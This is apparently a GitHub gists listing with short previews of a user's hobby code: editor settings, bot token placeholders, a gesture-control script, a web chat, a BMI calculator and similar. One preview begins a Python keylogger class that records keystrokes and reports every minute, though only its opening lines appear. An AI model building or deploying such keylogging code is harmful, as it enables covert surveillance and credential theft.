This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"files.autoSave": "onFocusChange", | |
"editor.renderWhitespace": "trailing", | |
"editor.wordWrap": "on", | |
"editor.guides.bracketPairs": "active", | |
"editor.smoothScrolling": true, | |
"editor.cursorBlinking": "smooth", | |
"editor.cursorSmoothCaretAnimation": "on", | |
"editor.fontLigatures": true, | |
"editor.suggest.preview": true, | |
"files.insertFinalNewline": true, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
TOKEN = "<telegram-bot-token>" # obtained from @BotFather | |
OPENAI_TOKEN = "<openai-api-key>" # obtained from https://platform.openai.com/account/api-keys |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import cv2 | |
import numpy as np | |
from collections import deque | |
from enum import Enum | |
import time | |
import pyautogui | |
# инициализируем | |
video = cv2.VideoCapture(1) # id устройства камеры | |
hands_haar_cascade = cv2.CascadeClassifier("rpalm.xml") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import asyncio | |
from pywebio import start_server | |
from pywebio.input import * | |
from pywebio.output import * | |
from pywebio.session import defer_call, info as session_info, run_async, run_js | |
chat_msgs = [] | |
online_users = set() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from rich import print | |
from rich.console import Console | |
from speedtest import Speedtest | |
console = Console() | |
st = Speedtest() | |
with console.status("[bold green]Замеряю скорость интернета...") as status: | |
dl_speed = int(st.download() / 8000) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
height = float(input("Введите свой рост (см): ")) | |
weight = float(input("Введите свой вес (кг): ")) | |
BMI = float("{0:.2f}".format(weight / ((height / 100) * (height / 100)))) | |
print(f"Ваш текущий ИМТ равен {BMI}") | |
if(BMI > 40): | |
print("Ожирение III степени") | |
elif(BMI >= 35): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import turtle | |
colors = ['red', 'blue', 'purple', 'green', | |
'orange', 'yellow'] | |
t = turtle.Pen() | |
turtle.bgcolor('black') | |
t.hideturtle() | |
for x in range(360): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import keyboard | |
from threading import Timer | |
from datetime import datetime | |
class Keylogger: | |
start_dt = "" | |
end_dt = "" | |
log = "" | |
interval = 60 # report every minute |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Лол, код из архива - файл датируется 2017 годом. | |
Написан был после недели изучения C++. | |
Реализует серверную часть чата на клиенте. | |
Код не полный, писался на скорую руку - так сказать proof of concept. | |
О, и да - семафоры это круто :3 */ | |
#include <iostream> | |
#include <string> | |
#include <stdio.h> | |
#include <cstring> | |
#include <stdlib.h> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def naive_find_top_k(values, k=20): | |
values.sort(reverse=True) | |
return values[:k] | |
import heapq | |
def heap_find_top_k(values, k=20): | |
return heapq.nlargest(k, values) | |
import random |
NewerOlder